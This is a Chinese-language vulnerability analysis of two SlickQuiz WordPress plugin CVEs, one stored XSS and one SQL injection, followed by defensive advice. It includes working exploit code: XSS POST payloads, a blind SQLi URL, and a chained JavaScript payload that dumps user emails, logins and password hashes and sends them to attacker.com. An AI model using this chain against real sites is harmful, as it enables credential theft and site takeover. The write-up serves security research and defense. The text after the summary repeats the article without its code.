H1-4420: From Quiz to Admin - Chaining Two 0-Days to Compromise An Uber Wordpress
字数 1151 2025-08-26 22:11:51

WordPress插件漏洞分析与利用:SlickQuiz的两个0-day漏洞链式攻击

漏洞概述

本文详细分析WordPress插件SlickQuiz中存在的两个关键漏洞(CVE-2019-12517和CVE-2019-12516),以及如何将它们串联起来实现从未经身份验证到完全接管WordPress站点的攻击链。

漏洞1:CVE-2019-12517 - 存储型XSS

漏洞位置

  • 文件:php/slickquiz-scores.php中的generate_score_row()方法(38-52行)
  • 受影响参数:$score->name$score->email$score->score

漏洞代码分析

function generate_score_row( $score ) {
    $scoreRow = '';
    $scoreRow .= '<tr>';
    $scoreRow .= '<td class="table_id">' . $score->id . '</td>';
    $scoreRow .= '<td class="table_name">' . $score->name . '</td>';      // 未过滤的name
    $scoreRow .= '<td class="table_email">' . $score->email . '</td>';    // 未过滤的email
    $scoreRow .= '<td class="table_score">' . $score->score . '</td>';    // 未过滤的score
    $scoreRow .= '<td class="table_created">' . $score->createdDate . '</td>';
    $scoreRow .= '<td class="table_actions">' . $this->get_score_actions( $score->id ) . '</td>';
    $scoreRow .= '</tr>';
    return $scoreRow;
}

利用方式

通过向admin-ajax.php发送恶意POST请求注入XSS payload:

POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 165

action=save_quiz_score&json={
    "name":"xss<script>alert(1)</script>",
    "email":"test@localhost<script>alert(2)</script>",
    "score":"<script>alert(3)</script>",
    "quiz_id":1
}

触发条件

当管理员查看SlickQuiz仪表盘中的用户分数时,所有payload都会自动执行。

漏洞2:CVE-2019-12516 - 认证后SQL注入

漏洞位置

  • 文件:php/slickquiz-model.php中的get_quiz_by_id()方法(27-35行)
  • 受影响参数:$_GET['id']

漏洞代码分析

function get_quiz_by_id( $id ) {
    global $wpdb;
    $db_name = $wpdb->prefix . 'plugin_slickquiz';
    $quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" );  // 直接拼接SQL
    return $quizResult;
}

可利用端点

  • /wp-admin/admin.php?page=slickquiz-scores&id=[注入点]
  • /wp-admin/admin.php?page=slickquiz-edit&id=[注入点]
  • /wp-admin/admin.php?page=slickquiz-preview&id=[注入点]

利用示例

时间盲注:

/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)

漏洞链式利用

攻击步骤

  1. 利用XSS漏洞注入恶意脚本

    let url = 'http://target.com/wp-admin/admin.php?page=slickquiz-scores&id=';
    let payload = '1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--';
    
    let xhr = new XMLHttpRequest();
    xhr.withCredentials = true;
    
    xhr.onreadystatechange = function() {
      if (xhr.readyState === XMLHttpRequest.DONE) {
        let result = xhr.responseText.match(/(?:<h2>SlickQuiz Scores for ")(.*)(?:"<\/h2>)/);
        // 将结果发送到攻击者控制的服务器
        new Image().src = 'http://attacker.com/steal.php?data=' + encodeURIComponent(result[1]);
      }
    }
    
    xhr.open('GET', url + payload, true);
    xhr.send();
    
  2. 构造最终XSS payload

    POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    
    action=save_quiz_score&json={
        "name":"exploit",
        "email":"test@localhost<script src='http://attacker.com/malicious.js'>",
        "score":"1 / 1",
        "quiz_id":1
    }
    
  3. 获取管理员凭据

    • 当管理员查看分数时,脚本自动执行
    • 通过SQL注入获取user_emailuser_loginuser_pass(密码哈希)
    • 将数据外传到攻击者服务器

防御措施

  1. 针对XSS漏洞

    • 对所有用户输入进行HTML实体编码
    • 使用esc_html()esc_attr()函数处理输出
    • 实现内容安全策略(CSP)
  2. 针对SQL注入

    • 使用WordPress提供的$wpdb->prepare()预处理语句
    • 对数字型参数强制类型转换(int)$id
    • 实现最小权限原则,限制数据库用户权限
  3. 通用建议

    • 及时更新插件到最新版本
    • 限制或移除不再使用的插件
    • 实施严格的输入验证和输出编码

总结

这个案例展示了如何通过串联两个看似独立的漏洞(存储型XSS和SQL注入)实现从零权限到完全控制WordPress站点的攻击链。它强调了深度防御的重要性,以及即使需要认证的漏洞也可能通过其他漏洞被利用的风险。

WordPress插件漏洞分析与利用:SlickQuiz的两个0-day漏洞链式攻击 漏洞概述 本文详细分析WordPress插件SlickQuiz中存在的两个关键漏洞(CVE-2019-12517和CVE-2019-12516),以及如何将它们串联起来实现从未经身份验证到完全接管WordPress站点的攻击链。 漏洞1:CVE-2019-12517 - 存储型XSS 漏洞位置 文件: php/slickquiz-scores.php 中的 generate_score_row() 方法(38-52行) 受影响参数: $score->name 、 $score->email 和 $score->score 漏洞代码分析 利用方式 通过向 admin-ajax.php 发送恶意POST请求注入XSS payload: 触发条件 当管理员查看SlickQuiz仪表盘中的用户分数时,所有payload都会自动执行。 漏洞2:CVE-2019-12516 - 认证后SQL注入 漏洞位置 文件: php/slickquiz-model.php 中的 get_quiz_by_id() 方法(27-35行) 受影响参数: $_GET['id'] 漏洞代码分析 可利用端点 /wp-admin/admin.php?page=slickquiz-scores&id=[注入点] /wp-admin/admin.php?page=slickquiz-edit&id=[注入点] /wp-admin/admin.php?page=slickquiz-preview&id=[注入点] 利用示例 时间盲注: 漏洞链式利用 攻击步骤 利用XSS漏洞注入恶意脚本 构造最终XSS payload 获取管理员凭据 当管理员查看分数时,脚本自动执行 通过SQL注入获取 user_email 、 user_login 和 user_pass (密码哈希) 将数据外传到攻击者服务器 防御措施 针对XSS漏洞 对所有用户输入进行HTML实体编码 使用 esc_html() 或 esc_attr() 函数处理输出 实现内容安全策略(CSP) 针对SQL注入 使用WordPress提供的 $wpdb->prepare() 预处理语句 对数字型参数强制类型转换 (int)$id 实现最小权限原则,限制数据库用户权限 通用建议 及时更新插件到最新版本 限制或移除不再使用的插件 实施严格的输入验证和输出编码 总结 这个案例展示了如何通过串联两个看似独立的漏洞(存储型XSS和SQL注入)实现从零权限到完全控制WordPress站点的攻击链。它强调了深度防御的重要性,以及即使需要认证的漏洞也可能通过其他漏洞被利用的风险。